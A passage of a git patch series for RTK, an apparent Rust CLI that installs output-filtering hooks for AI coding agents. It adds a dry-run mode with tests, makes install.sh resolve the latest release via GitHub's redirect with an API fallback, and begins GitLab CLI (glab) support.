println!("[dry-run] content:\n{}", cleaned); + } + return Ok(true); + } + atomic_write(path, &cleaned) .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; @@ -1792,33 +2173,41 @@ fn opencode_plugin_path(opencode_dir: &Path) -> PathBuf { fn prepare_opencode_plugin_path() -> Result { let opencode_dir = resolve_opencode_dir()?; let path = opencode_plugin_path(&opencode_dir); - if let Some(parent) = path.parent() { - fs::create_dir_all(parent).with_context(|| { - format!( - "Failed to create OpenCode plugin directory: {}", - parent.display() - ) - })?; - } + // Directory creation is deferred to install time (caller guards on dry_run). Ok(path) } /// Write OpenCode plugin file if missing or outdated -fn ensure_opencode_plugin_installed(path: &Path, verbose: u8) -> Result { - write_if_changed(path, OPENCODE_PLUGIN, "OpenCode plugin", verbose) +fn ensure_opencode_plugin_installed(path: &Path, verbose: u8, dry_run: bool) -> Result { + // Ensure parent dir exists (skip in dry-run) + if !dry_run { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).with_context(|| { + format!( + "Failed to create OpenCode plugin directory: {}", + parent.display() + ) + })?; + } + } + write_if_changed(path, OPENCODE_PLUGIN, "OpenCode plugin", verbose, dry_run) } /// Remove OpenCode plugin file -fn remove_opencode_plugin(verbose: u8) -> Result> { +fn remove_opencode_plugin(verbose: u8, dry_run: bool) -> Result> { let opencode_dir = resolve_opencode_dir()?; let path = opencode_plugin_path(&opencode_dir); let mut removed = Vec::new(); if path.exists() { - fs::remove_file(&path) - .with_context(|| format!("Failed to remove OpenCode plugin: {}", path.display()))?; - if verbose > 0 { - eprintln!("Removed OpenCode plugin: {}", path.display()); + if dry_run { + println!("[dry-run] would remove OpenCode plugin: {}", path.display()); + } else { + fs::remove_file(&path) + .with_context(|| format!("Failed to remove OpenCode plugin: {}", path.display()))?; + if verbose > 0 { + eprintln!("Removed OpenCode plugin: {}", path.display()); + } } removed.push(path); } @@ -1833,22 +2222,30 @@ fn resolve_cursor_dir() -> Result { } /// Install Cursor hooks: register binary command in hooks.json -fn install_cursor_hooks(verbose: u8) -> Result<()> { +fn install_cursor_hooks(verbose: u8, dry_run: bool) -> Result<()> { let cursor_dir = resolve_cursor_dir()?; // Migrate old hook script if present let old_hook = cursor_dir.join("hooks").join(REWRITE_HOOK_FILE); if old_hook.exists() { - let _ = fs::remove_file(&old_hook); - if verbose > 0 { - eprintln!( - " [ok] Removed old Cursor hook script: {}", + if dry_run { + println!( + "[dry-run] would remove old Cursor hook script: {}", old_hook.display() ); + } else { + let _ = fs::remove_file(&old_hook); + if verbose > 0 { + eprintln!( + " [ok] Removed old Cursor hook script: {}", + old_hook.display() + ); + } } // Clean stale hooks.json entry pointing to the deleted script let hooks_json_path = cursor_dir.join(HOOKS_JSON); - if let Err(e) = remove_legacy_cursor_hooks_json_entries(&hooks_json_path, verbose) { + if let Err(e) = remove_legacy_cursor_hooks_json_entries(&hooks_json_path, verbose, dry_run) + { if verbose > 0 { eprintln!(" [warn] Failed to clean legacy Cursor hooks.json entry: {e}"); } @@ -1857,27 +2254,31 @@ fn install_cursor_hooks(verbose: u8) -> Result<()> { // Create or patch hooks.json with binary command let hooks_json_path = cursor_dir.join(HOOKS_JSON); - let patched = patch_cursor_hooks_json(&hooks_json_path, verbose)?; + let patched = patch_cursor_hooks_json(&hooks_json_path, verbose, dry_run)?; + + // Report (skip in dry-run) + if !dry_run { + println!("\nCursor hook registered (global).\n"); + println!(" Command: {}", CURSOR_HOOK_COMMAND); + println!(" hooks.json: {}", hooks_json_path.display()); - // Report - println!("\nCursor hook registered (global).\n"); - println!(" Command: {}", CURSOR_HOOK_COMMAND); - println!(" hooks.json: {}", hooks_json_path.display()); + if patched { + println!(" hooks.json: RTK preToolUse entry added"); + } else { + println!(" hooks.json: RTK preToolUse entry already present"); + } - if patched { - println!(" hooks.json: RTK preToolUse entry added"); + println!(" Cursor reloads hooks.json automatically. Test with: git status\n"); } else { - println!(" hooks.json: RTK preToolUse entry already present"); + print_dry_run_footer(); } - println!(" Cursor reloads hooks.json automatically. Test with: git status\n"); - Ok(()) } /// Patch ~/.cursor/hooks.json to add RTK preToolUse hook. /// Returns true if the file was modified. -fn patch_cursor_hooks_json(path: &Path, verbose: u8) -> Result { +fn patch_cursor_hooks_json(path: &Path, verbose: u8, dry_run: bool) -> Result { let mut root = if path.exists() { let content = fs::read_to_string(path) .with_context(|| format!("Failed to read {}", path.display()))?; @@ -1901,6 +2302,20 @@ fn patch_cursor_hooks_json(path: &Path, verbose: u8) -> Result { insert_cursor_hook_entry(&mut root)?; + let serialized = + serde_json::to_string_pretty(&root).context("Failed to serialize hooks.json")?; + + if dry_run { + println!( + "[dry-run] would patch Cursor hooks.json: {}", + path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", serialized); + } + return Ok(true); + } + // Backup if exists if path.exists() { let backup_path = path.with_extension("json.bak"); @@ -1912,8 +2327,6 @@ fn patch_cursor_hooks_json(path: &Path, verbose: u8) -> Result { } // Atomic write - let serialized = - serde_json::to_string_pretty(&root).context("Failed to serialize hooks.json")?; atomic_write(path, &serialized)?; Ok(true) @@ -1972,7 +2385,7 @@ fn insert_cursor_hook_entry(root: &mut serde_json::Value) -> Result<()> { /// Remove only legacy `rtk-rewrite.sh` entries from Cursor hooks.json. /// Preserves any existing `rtk hook cursor` entries (new format). -fn remove_legacy_cursor_hooks_json_entries(path: &Path, verbose: u8) -> Result<()> { +fn remove_legacy_cursor_hooks_json_entries(path: &Path, verbose: u8, dry_run: bool) -> Result<()> { if !path.exists() { return Ok(()); } @@ -1990,6 +2403,14 @@ fn remove_legacy_cursor_hooks_json_entries(path: &Path, verbose: u8) -> Result<( return Ok(()); } + if dry_run { + println!( + "[dry-run] would remove legacy rtk-rewrite.sh entry from Cursor hooks.json: {}", + path.display() + ); + return Ok(()); + } + let serialized = serde_json::to_string_pretty(&root).context("Failed to serialize hooks.json")?; atomic_write(path, &serialized)?; @@ -2025,15 +2446,23 @@ fn remove_legacy_cursor_hook_entries_from_json(root: &mut serde_json::Value) -> } /// Remove Cursor RTK artifacts: hook script + hooks.json entry -fn remove_cursor_hooks(verbose: u8) -> Result> { +fn remove_cursor_hooks(verbose: u8, dry_run: bool) -> Result> { let cursor_dir = resolve_cursor_dir()?; let mut removed = Vec::new(); // 1. Remove hook script let hook_path = cursor_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE); if hook_path.exists() { - fs::remove_file(&hook_path) - .with_context(|| format!("Failed to remove Cursor hook: {}", hook_path.display()))?; + if dry_run { + println!( + "[dry-run] would remove Cursor hook: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path).with_context(|| { + format!("Failed to remove Cursor hook: {}", hook_path.display()) + })?; + } removed.push(format!("Cursor hook: {}", hook_path.display())); } @@ -2046,18 +2475,24 @@ fn remove_cursor_hooks(verbose: u8) -> Result> { if !content.trim().is_empty() { if let Ok(mut root) = serde_json::from_str::(&content) { if remove_cursor_hook_from_json(&mut root) { - let backup_path = hooks_json_path.with_extension("json.bak"); - fs::copy(&hooks_json_path, &backup_path).ok(); - - let serialized = serde_json::to_string_pretty(&root) - .context("Failed to serialize hooks.json")?; - atomic_write(&hooks_json_path, &serialized)?; - - removed.push("Cursor hooks.json: removed RTK entry".to_string()); - - if verbose > 0 { - eprintln!("Removed RTK hook from Cursor hooks.json"); + if dry_run { + println!( + "[dry-run] would remove RTK entry from Cursor hooks.json: {}", + hooks_json_path.display() + ); + } else { + let backup_path = hooks_json_path.with_extension("json.bak"); + fs::copy(&hooks_json_path, &backup_path).ok(); + + let serialized = serde_json::to_string_pretty(&root) + .context("Failed to serialize hooks.json")?; + atomic_write(&hooks_json_path, &serialized)?; + + if verbose > 0 { + eprintln!("Removed RTK hook from Cursor hooks.json"); + } } + removed.push("Cursor hooks.json: removed RTK entry".to_string()); } } } @@ -2386,12 +2821,16 @@ fn show_codex_config() -> Result<()> { Ok(()) } -fn run_opencode_only_mode(verbose: u8) -> Result<()> { +fn run_opencode_only_mode(verbose: u8, dry_run: bool) -> Result<()> { let opencode_plugin_path = prepare_opencode_plugin_path()?; - ensure_opencode_plugin_installed(&opencode_plugin_path, verbose)?; - println!("\nOpenCode plugin installed (global).\n"); - println!(" OpenCode: {}", opencode_plugin_path.display()); - println!(" Restart OpenCode. Test with: git status\n"); + ensure_opencode_plugin_installed(&opencode_plugin_path, verbose, dry_run)?; + if dry_run { + print_dry_run_footer(); + } else { + println!("\nOpenCode plugin installed (global).\n"); + println!(" OpenCode: {}", opencode_plugin_path.display()); + println!(" Restart OpenCode. Test with: git status\n"); + } Ok(()) } @@ -2407,53 +2846,76 @@ fn resolve_gemini_dir() -> Result { } /// Entry point for `rtk init --gemini` -pub fn run_gemini(global: bool, hook_only: bool, patch_mode: PatchMode, verbose: u8) -> Result<()> { +pub fn run_gemini( + global: bool, + hook_only: bool, + patch_mode: PatchMode, + verbose: u8, + dry_run: bool, +) -> Result<()> { if !global { anyhow::bail!("Gemini support is global-only. Use: rtk init -g --gemini"); } let gemini_dir = resolve_gemini_dir()?; - fs::create_dir_all(&gemini_dir).with_context(|| { - format!( - "Failed to create Gemini config dir: {}", - gemini_dir.display() - ) - })?; + if !dry_run { + fs::create_dir_all(&gemini_dir).with_context(|| { + format!( + "Failed to create Gemini config dir: {}", + gemini_dir.display() + ) + })?; + } // 1. Install hook script let hook_dir = gemini_dir.join("hooks"); - fs::create_dir_all(&hook_dir) - .with_context(|| format!("Failed to create hook dir: {}", hook_dir.display()))?; + if !dry_run { + fs::create_dir_all(&hook_dir) + .with_context(|| format!("Failed to create hook dir: {}", hook_dir.display()))?; + } let hook_path = hook_dir.join(GEMINI_HOOK_FILE); - write_if_changed(&hook_path, GEMINI_HOOK_SCRIPT, "Gemini hook", verbose)?; + write_if_changed( + &hook_path, + GEMINI_HOOK_SCRIPT, + "Gemini hook", + verbose, + dry_run, + )?; #[cfg(unix)] - { + if !dry_run { use std::os::unix::fs::PermissionsExt; fs::set_permissions(&hook_path, fs::Permissions::from_mode(0o755)) .with_context(|| format!("Failed to set hook permissions: {}", hook_path.display()))?; } - // Store integrity baseline for tamper detection - integrity::store_hash(&hook_path) - .with_context(|| format!("Failed to store integrity hash for {}", hook_path.display()))?; + // Store integrity baseline for tamper detection (skip in dry-run) + if !dry_run { + integrity::store_hash(&hook_path).with_context(|| { + format!("Failed to store integrity hash for {}", hook_path.display()) + })?; + } // 2. Install GEMINI.md (RTK awareness for Gemini) if !hook_only { let gemini_md_path = gemini_dir.join(GEMINI_MD); // Reuse the same slim RTK awareness content - write_if_changed(&gemini_md_path, RTK_SLIM, GEMINI_MD, verbose)?; + write_if_changed(&gemini_md_path, RTK_SLIM, GEMINI_MD, verbose, dry_run)?; } // 3. Patch ~/.gemini/settings.json - patch_gemini_settings(&gemini_dir, &hook_path, patch_mode, verbose)?; + patch_gemini_settings(&gemini_dir, &hook_path, patch_mode, verbose, dry_run)?; - println!("\nGemini CLI hook installed (global).\n"); - println!(" Hook: {}", hook_path.display()); - if !hook_only { - println!(" GEMINI.md: {}", gemini_dir.join(GEMINI_MD).display()); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nGemini CLI hook installed (global).\n"); + println!(" Hook: {}", hook_path.display()); + if !hook_only { + println!(" GEMINI.md: {}", gemini_dir.join(GEMINI_MD).display()); + } + println!(" Restart Gemini CLI. Test with: git status\n"); } - println!(" Restart Gemini CLI. Test with: git status\n"); Ok(()) } @@ -2463,6 +2925,7 @@ fn patch_gemini_settings( hook_path: &Path, patch_mode: PatchMode, verbose: u8, + dry_run: bool, ) -> Result<()> { let settings_path = gemini_dir.join(SETTINGS_JSON); let hook_cmd = hook_path.to_string_lossy().to_string(); @@ -2503,13 +2966,20 @@ fn patch_gemini_settings( } if patch_mode == PatchMode::Ask { - print!("Patch {} with RTK hook? [y/N] ", settings_path.display()); - std::io::Write::flush(&mut std::io::stdout())?; - let mut answer = String::new(); - std::io::stdin().read_line(&mut answer)?; - if !answer.trim().eq_ignore_ascii_case("y") { - println!("Skipped. Add hook manually later."); - return Ok(()); + if dry_run { + println!( + "[dry-run] would prompt before patching {}", + settings_path.display() + ); + } else { + print!("Patch {} with RTK hook? [y/N] ", settings_path.display()); + std::io::Write::flush(&mut std::io::stdout())?; + let mut answer = String::new(); + std::io::stdin().read_line(&mut answer)?; + if !answer.trim().eq_ignore_ascii_case("y") { + println!("Skipped. Add hook manually later."); + return Ok(()); + } } } @@ -2540,8 +3010,20 @@ fn patch_gemini_settings( .context("BeforeTool is not an array")? .push(hook_entry); - // Write atomically let content = serde_json::to_string_pretty(&settings)?; + + if dry_run { + println!( + "[dry-run] would patch Gemini settings.json: {}", + settings_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", content); + } + return Ok(()); + } + + // Write atomically let tmp = NamedTempFile::new_in(gemini_dir)?; fs::write(tmp.path(), &content)?; tmp.persist(&settings_path) @@ -2555,7 +3037,7 @@ fn patch_gemini_settings( } /// Remove Gemini artifacts during uninstall -fn uninstall_gemini(verbose: u8) -> Result> { +fn uninstall_gemini(verbose: u8, dry_run: bool) -> Result> { let mut removed = Vec::new(); let gemini_dir = match resolve_gemini_dir() { Ok(d) => d, @@ -2565,16 +3047,27 @@ fn uninstall_gemini(verbose: u8) -> Result> { // Remove hook let hook_path = gemini_dir.join(HOOKS_SUBDIR).join(GEMINI_HOOK_FILE); if hook_path.exists() { - fs::remove_file(&hook_path) - .with_context(|| format!("Failed to remove {}", hook_path.display()))?; + if dry_run { + println!( + "[dry-run] would remove Gemini hook: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove {}", hook_path.display()))?; + } removed.push(format!("Gemini hook: {}", hook_path.display())); } // Remove GEMINI.md let gemini_md = gemini_dir.join(GEMINI_MD); if gemini_md.exists() { - fs::remove_file(&gemini_md) - .with_context(|| format!("Failed to remove {}", gemini_md.display()))?; + if dry_run { + println!("[dry-run] would remove GEMINI.md: {}", gemini_md.display()); + } else { + fs::remove_file(&gemini_md) + .with_context(|| format!("Failed to remove {}", gemini_md.display()))?; + } removed.push(format!("GEMINI.md: {}", gemini_md.display())); } @@ -2595,8 +3088,15 @@ fn uninstall_gemini(verbose: u8) -> Result> { .is_some_and(|c| c.contains("rtk")) }); if arr.len() < before { - let new_content = serde_json::to_string_pretty(&settings)?; - fs::write(&settings_path, new_content)?; + if dry_run { + println!( + "[dry-run] would remove RTK hook from Gemini settings.json: {}", + settings_path.display() + ); + } else { + let new_content = serde_json::to_string_pretty(&settings)?; + fs::write(&settings_path, new_content)?; + } removed.push("Gemini settings.json: removed RTK hook entry".to_string()); } } @@ -2654,12 +3154,14 @@ rtk proxy # Run raw (no filtering) but track usage "#; /// Entry point for `rtk init --copilot` -pub fn run_copilot(verbose: u8) -> Result<()> { +pub fn run_copilot(verbose: u8, dry_run: bool) -> Result<()> { // Install in current project's .github/ directory let github_dir = Path::new(".github"); let hooks_dir = github_dir.join("hooks"); - fs::create_dir_all(&hooks_dir).context("Failed to create .github/hooks/ directory")?; + if !dry_run { + fs::create_dir_all(&hooks_dir).context("Failed to create .github/hooks/ directory")?; + } // 1. Write hook config let hook_path = hooks_dir.join("rtk-rewrite.json"); @@ -2668,6 +3170,7 @@ pub fn run_copilot(verbose: u8) -> Result<()> { COPILOT_HOOK_JSON, "Copilot hook config", verbose, + dry_run, )?; // 2. Write instructions @@ -2677,14 +3180,19 @@ pub fn run_copilot(verbose: u8) -> Result<()> { COPILOT_INSTRUCTIONS, "Copilot instructions", verbose, + dry_run, )?; - println!("\nGitHub Copilot integration installed (project-scoped).\n"); - println!(" Hook config: {}", hook_path.display()); - println!(" Instructions: {}", instructions_path.display()); - println!("\n Works with VS Code Copilot Chat (transparent rewrite)"); - println!(" and Copilot CLI (deny-with-suggestion)."); - println!("\n Restart your IDE or Copilot CLI session to activate.\n"); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nGitHub Copilot integration installed (project-scoped).\n"); + println!(" Hook config: {}", hook_path.display()); + println!(" Instructions: {}", instructions_path.display()); + println!("\n Works with VS Code Copilot Chat (transparent rewrite)"); + println!(" and Copilot CLI (deny-with-suggestion)."); + println!("\n Restart your IDE or Copilot CLI session to activate.\n"); + } Ok(()) } @@ -2754,13 +3262,13 @@ More content"#; fs::create_dir_all(plugin_path.parent().unwrap()).unwrap(); assert!(!plugin_path.exists()); - let changed = ensure_opencode_plugin_installed(&plugin_path, 0).unwrap(); + let changed = ensure_opencode_plugin_installed(&plugin_path, 0, false).unwrap(); assert!(changed); let content = fs::read_to_string(&plugin_path).unwrap(); assert_eq!(content, OPENCODE_PLUGIN); fs::write(&plugin_path, "// old").unwrap(); - let changed_again = ensure_opencode_plugin_installed(&plugin_path, 0).unwrap(); + let changed_again = ensure_opencode_plugin_installed(&plugin_path, 0, false).unwrap(); assert!(changed_again); let content_updated = fs::read_to_string(&plugin_path).unwrap(); assert_eq!(content_updated, OPENCODE_PLUGIN); @@ -2875,8 +3383,8 @@ More notes let agents_md = temp.path().join("AGENTS.md"); fs::write(&agents_md, "# Team rules\n").unwrap(); - let first_added = patch_agents_md(&agents_md, RTK_MD_REF, 0).unwrap(); - let second_added = patch_agents_md(&agents_md, RTK_MD_REF, 0).unwrap(); + let first_added = patch_agents_md(&agents_md, RTK_MD_REF, 0, false).unwrap(); + let second_added = patch_agents_md(&agents_md, RTK_MD_REF, 0, false).unwrap(); assert!(first_added); assert!(!second_added); @@ -2899,6 +3407,7 @@ More notes true, PatchMode::Auto, 0, + false, ) .unwrap_err(); assert_eq!( @@ -2921,6 +3430,7 @@ More notes true, PatchMode::Skip, 0, + false, ) .unwrap_err(); assert_eq!( @@ -2932,7 +3442,7 @@ More notes #[test] fn test_kilocode_mode_creates_rules_file() { let temp = TempDir::new().unwrap(); - run_kilocode_mode_at(temp.path(), 0).unwrap(); + run_kilocode_mode_at(temp.path(), 0, false).unwrap(); let rules_path = temp.path().join(".kilocode/rules/rtk-rules.md"); assert!(rules_path.exists(), "Rules file should be created"); @@ -2943,13 +3453,13 @@ More notes #[test] fn test_kilocode_mode_is_idempotent() { let temp = TempDir::new().unwrap(); - run_kilocode_mode_at(temp.path(), 0).unwrap(); + run_kilocode_mode_at(temp.path(), 0, false).unwrap(); let path = temp.path().join(".kilocode/rules/rtk-rules.md"); let first = fs::read_to_string(&path).unwrap(); // Second run should not overwrite - run_kilocode_mode_at(temp.path(), 0).unwrap(); + run_kilocode_mode_at(temp.path(), 0, false).unwrap(); let second = fs::read_to_string(&path).unwrap(); assert_eq!(first, second, "Idempotent: content should not change"); } @@ -2957,7 +3467,7 @@ More notes #[test] fn test_antigravity_mode_creates_rules_file() { let temp = TempDir::new().unwrap(); - run_antigravity_mode_at(temp.path(), 0).unwrap(); + run_antigravity_mode_at(temp.path(), 0, false).unwrap(); let rules_path = temp.path().join(".agents/rules/antigravity-rtk-rules.md"); assert!(rules_path.exists(), "Rules file should be created"); @@ -2968,13 +3478,13 @@ More notes #[test] fn test_antigravity_mode_is_idempotent() { let temp = TempDir::new().unwrap(); - run_antigravity_mode_at(temp.path(), 0).unwrap(); + run_antigravity_mode_at(temp.path(), 0, false).unwrap(); let path = temp.path().join(".agents/rules/antigravity-rtk-rules.md"); let first = fs::read_to_string(&path).unwrap(); // Second run should not overwrite - run_antigravity_mode_at(temp.path(), 0).unwrap(); + run_antigravity_mode_at(temp.path(), 0, false).unwrap(); let second = fs::read_to_string(&path).unwrap(); assert_eq!(first, second, "Idempotent: content should not change"); } @@ -2984,7 +3494,7 @@ More notes let temp = TempDir::new().unwrap(); let agents_md = temp.path().join("AGENTS.md"); - let added = patch_agents_md(&agents_md, RTK_MD_REF, 0).unwrap(); + let added = patch_agents_md(&agents_md, RTK_MD_REF, 0, false).unwrap(); assert!(added); let content = fs::read_to_string(&agents_md).unwrap(); @@ -3001,7 +3511,7 @@ More notes ) .unwrap(); - let added = patch_agents_md(&agents_md, RTK_MD_REF, 0).unwrap(); + let added = patch_agents_md(&agents_md, RTK_MD_REF, 0, false).unwrap(); assert!(added); let content = fs::read_to_string(&agents_md).unwrap(); @@ -3015,7 +3525,7 @@ More notes let agents_md = temp.path().join("AGENTS.md"); let rtk_md = temp.path().join("RTK.md"); - run_codex_mode_with_paths(agents_md.clone(), rtk_md.clone(), true, 0).unwrap(); + run_codex_mode_with_paths(agents_md.clone(), rtk_md.clone(), true, 0, false).unwrap(); assert!(rtk_md.exists()); assert_eq!(fs::read_to_string(&rtk_md).unwrap(), RTK_SLIM_CODEX); @@ -3051,8 +3561,8 @@ More notes fs::write(&agents_md, "# Team rules\n\n@RTK.md\n").unwrap(); fs::write(&rtk_md, "codex config").unwrap(); - let removed_first = uninstall_codex_at(codex_dir, 0).unwrap(); - let removed_second = uninstall_codex_at(codex_dir, 0).unwrap(); + let removed_first = uninstall_codex_at(codex_dir, 0, false).unwrap(); + let removed_second = uninstall_codex_at(codex_dir, 0, false).unwrap(); assert_eq!(removed_first.len(), 2); assert!(removed_second.is_empty()); @@ -3074,7 +3584,7 @@ More notes fs::write(&agents_md, format!("# Team rules\n\n{}\n", absolute_ref)).unwrap(); fs::write(&rtk_md, "codex config").unwrap(); - let removed = uninstall_codex_at(codex_dir, 0).unwrap(); + let removed = uninstall_codex_at(codex_dir, 0, false).unwrap(); assert_eq!(removed.len(), 2); let content = fs::read_to_string(&agents_md).unwrap(); @@ -3082,6 +3592,60 @@ More notes assert!(content.contains("# Team rules")); } + #[test] + fn test_write_if_changed_dry_run_does_not_create_file() { + let temp = TempDir::new().unwrap(); + let target = temp.path().join("rtk-test.md"); + + let changed = write_if_changed(&target, "some content", "test file", 0, true).unwrap(); + + assert!( + changed, + "dry-run should report would-change for missing file" + ); + assert!( + !target.exists(), + "dry-run must not create file: {}", + target.display() + ); + } + + #[test] + fn test_write_if_changed_dry_run_does_not_modify_existing_file() { + let temp = TempDir::new().unwrap(); + let target = temp.path().join("rtk-test.md"); + fs::write(&target, "original").unwrap(); + + let changed = write_if_changed(&target, "new content", "test file", 0, true).unwrap(); + + assert!(changed, "dry-run should report would-change"); + assert_eq!( + fs::read_to_string(&target).unwrap(), + "original", + "dry-run must not modify file contents" + ); + } + + #[test] + fn test_run_codex_mode_dry_run_writes_nothing() { + let temp = TempDir::new().unwrap(); + let agents_md = temp.path().join("AGENTS.md"); + let rtk_md = temp.path().join("RTK.md"); + + run_codex_mode_with_paths(agents_md.clone(), rtk_md.clone(), true, 0, true).unwrap(); + + assert!( + !rtk_md.exists(), + "dry-run must not create RTK.md: {}", + rtk_md.display() + ); + assert!( + !agents_md.exists(), + "dry-run must not create AGENTS.md: {}", + agents_md.display() + ); + } + #[test] fn test_local_init_unchanged() { // Local init should use claude-md mode diff --git a/src/hooks/integrity.rs b/src/hooks/integrity.rs index 5b0721d0f4..1101fe26a9 100644 --- a/src/hooks/integrity.rs +++ b/src/hooks/integrity.rs @@ -53,6 +53,11 @@ fn hash_path(hook_path: &Path) -> PathBuf { .join(HASH_FILENAME) } +/// Public accessor for the hash sidecar path (used by dry-run existence checks). +pub fn hash_path_for(hook_path: &Path) -> PathBuf { + hash_path(hook_path) +} + /// Store SHA-256 hash of the hook script after installation. /// /// Format is compatible with `sha256sum -c`: diff --git a/src/main.rs b/src/main.rs index e8a19c2be2..668f585ba1 100644 --- a/src/main.rs +++ b/src/main.rs @@ -356,6 +356,10 @@ enum Commands { /// Install GitHub Copilot integration (VS Code + CLI) #[arg(long)] copilot: bool, + + /// Preview changes without writing any files (combine with -v to show content) + #[arg(long = "dry-run")] + dry_run: bool, }, /// Download with compact output (strips progress bars) @@ -1716,12 +1720,13 @@ fn run_cli() -> Result { uninstall, codex, copilot, + dry_run, } => { if show { hooks::init::show_config(codex)?; } else if uninstall { let cursor = agent == Some(AgentTarget::Cursor); - hooks::init::uninstall(global, gemini, codex, cursor, cli.verbose)?; + hooks::init::uninstall(global, gemini, codex, cursor, cli.verbose, dry_run)?; } else if gemini { let patch_mode = if auto_patch { hooks::init::PatchMode::Auto @@ -1730,21 +1735,21 @@ fn run_cli() -> Result { } else { hooks::init::PatchMode::Ask }; - hooks::init::run_gemini(global, hook_only, patch_mode, cli.verbose)?; + hooks::init::run_gemini(global, hook_only, patch_mode, cli.verbose, dry_run)?; } else if copilot { - hooks::init::run_copilot(cli.verbose)?; + hooks::init::run_copilot(cli.verbose, dry_run)?; } else if agent == Some(AgentTarget::Kilocode) { if global { anyhow::bail!("Kilo Code is project-scoped. Use: rtk init --agent kilocode"); } - hooks::init::run_kilocode_mode(cli.verbose)?; + hooks::init::run_kilocode_mode(cli.verbose, dry_run)?; } else if agent == Some(AgentTarget::Antigravity) { if global { anyhow::bail!( "Antigravity is project-scoped. Use: rtk init --agent antigravity" ); } - hooks::init::run_antigravity_mode(cli.verbose)?; + hooks::init::run_antigravity_mode(cli.verbose, dry_run)?; } else { let install_opencode = opencode; let install_claude = !opencode; @@ -1771,6 +1776,7 @@ fn run_cli() -> Result { codex, patch_mode, cli.verbose, + dry_run, )?; } 0 From f67ae3bcd2b1f0f843b969c3800ee6bf751894f4 Mon Sep 17 00:00:00 2001 From: xdm67x Date: Mon, 20 Apr 2026 12:39:17 +0200 Subject: [PATCH 026/204] fix(install): resolve version via redirect to avoid API rate limits The installer failed with "Failed to get latest version" when the GitHub REST API returned 403 due to the anonymous rate limit (60 req/hour, shared across NAT/CI). Switch the primary lookup to the `/releases/latest` 302 redirect, which doesn't count against the API quota. Keep the API call as a fallback, and add a RTK_VERSION escape hatch for pinning. Co-Authored-By: Claude Opus 4.7 (1M context) --- install.sh | 26 +++++++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) diff --git a/install.sh b/install.sh index 1654245d9a..32a7b13063 100644 --- a/install.sh +++ b/install.sh @@ -46,10 +46,25 @@ detect_arch() { } # Get latest release version +# Primary: parse the 302 redirect on /releases/latest (no API call, no rate limit). +# Fallback: the GitHub REST API (subject to 60 req/hour anonymous limit). get_latest_version() { - VERSION=$(curl -fsSL "https://api.github.com/repos/${REPO}/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/') + # Try the web redirect first — does not count against the API rate limit. + VERSION=$(curl -sI "https://github.com/${REPO}/releases/latest" \ + | grep -i '^location:' \ + | sed -E 's|.*/tag/([^[:space:]]+).*|\1|' \ + | tr -d '\r') + + # Fallback to the REST API if the redirect didn't yield a tag. + if [ -z "$VERSION" ]; then + warn "Redirect lookup failed, falling back to GitHub API..." + VERSION=$(curl -fsSL "https://api.github.com/repos/${REPO}/releases/latest" \ + | grep '"tag_name":' \ + | sed -E 's/.*"([^"]+)".*/\1/') + fi + if [ -z "$VERSION" ]; then - error "Failed to get latest version" + error "Failed to get latest version (GitHub API may be rate-limited; set RTK_VERSION=vX.Y.Z to pin)" fi } @@ -113,7 +128,12 @@ main() { detect_os detect_arch get_target - get_latest_version + if [ -n "$RTK_VERSION" ]; then + VERSION="$RTK_VERSION" + info "Using pinned version from RTK_VERSION: $VERSION" + else + get_latest_version + fi install verify From bc31f3f0f39077884e8d52c3508e840b355f682e Mon Sep 17 00:00:00 2001 From: tnucera Date: Fri, 27 Mar 2026 09:39:58 +0100 Subject: [PATCH 027/204] feat(glab): add GitLab CLI (glab) command support Add token-optimized filters for glab CLI commands: - mr list/view/create/merge/approve/diff/note/update - issue list/view - ci list/status/trace (strip ANSI, section markers, runner boilerplate) - release list/view (strip SOURCES block, markdown noise) - api passthrough - Markdown body filtering (HTML comments, badges, blank lines) - Graceful JSON/plain-text fallback for empty results - -R/--repo and -g/--group flag forwarding at clap level - resolved_command() for Windows compat - has_output_flag() / should_passthrough_view() guards - Rewrite rules and classify/rewrite tests for rtk discover Adapted to post-refactoring src/cmds/git/ module structure. Token savings: mr 87%, ci 82%, issue 80% (avg 82%) Closes #851 --- src/cmds/git/README.md | 23 + src/cmds/git/glab_cmd.rs | 1535 ++++++++++++++++++++++ src/discover/registry.rs | 50 + src/discover/rules.rs | 9 + src/main.rs | 37 +- tests/fixtures/glab_ci_trace_raw.txt | 54 + tests/fixtures/glab_issue_list_raw.json | 122 ++ tests/fixtures/glab_mr_list_raw.json | 182 +++ tests/fixtures/glab_release_list_raw.txt | 13 + tests/fixtures/glab_release_view_raw.txt | 30 + 10 files changed, 2054 insertions(+), 1 deletion(-) create mode 100644 src/cmds/git/glab_cmd.rs create mode 100644 tests/fixtures/glab_ci_trace_raw.txt create mode 100644 tests/fixtures/glab_issue_list_raw.json create mode 100644 tests/fixtures/glab_mr_list_raw.json create mode 100644 tests/fixtures/glab_release_list_raw.txt create mode 100644 tests/fixtures/glab_release_view_raw.txt diff --git a/src/cmds/git/README.md b/src/cmds/git/README.md index d6d867c6da..09febe2d4b 100644 --- a/src/cmds/git/README.md +++ b/src/cmds/git/README.md @@ -8,8 +8,31 @@ - Auto-detects `--merges` flag to avoid conflicting with `--no-merges` injection - Global git options (`-C`, `--git-dir`, `--work-tree`, `--no-pager`) are prepended before the subcommand - Exit code propagation is critical for CI/CD pipelines +- **glab_cmd.rs** declares `-R`/`--repo` and `-g`/`--group` at the clap level; they are **appended** to the glab args (not prepended) so subcommand dispatch stays intact +- `has_output_flag()` short-circuits to passthrough when the user explicitly requests `-F` / `--output` / `--json` (avoids double JSON injection) +- `should_passthrough_view()` redirects `mr/issue view` to passthrough when `--web` or `--comments` is set +- JSON handlers use the local `run_glab_json()` helper wrapping `runner::run_filtered` + `RunOptions::stdout_only().early_exit_on_failure().no_trailing_newline()`; on JSON parse error, falls back to the raw stdout (glab sometimes emits plain text for empty results) +- `ci status` uses text-keyword parsing (glab doesn't support `-F json` for this subcommand); when no English status keyword is recognized (non-English locale), returns raw verbatim +- `ci trace` uses 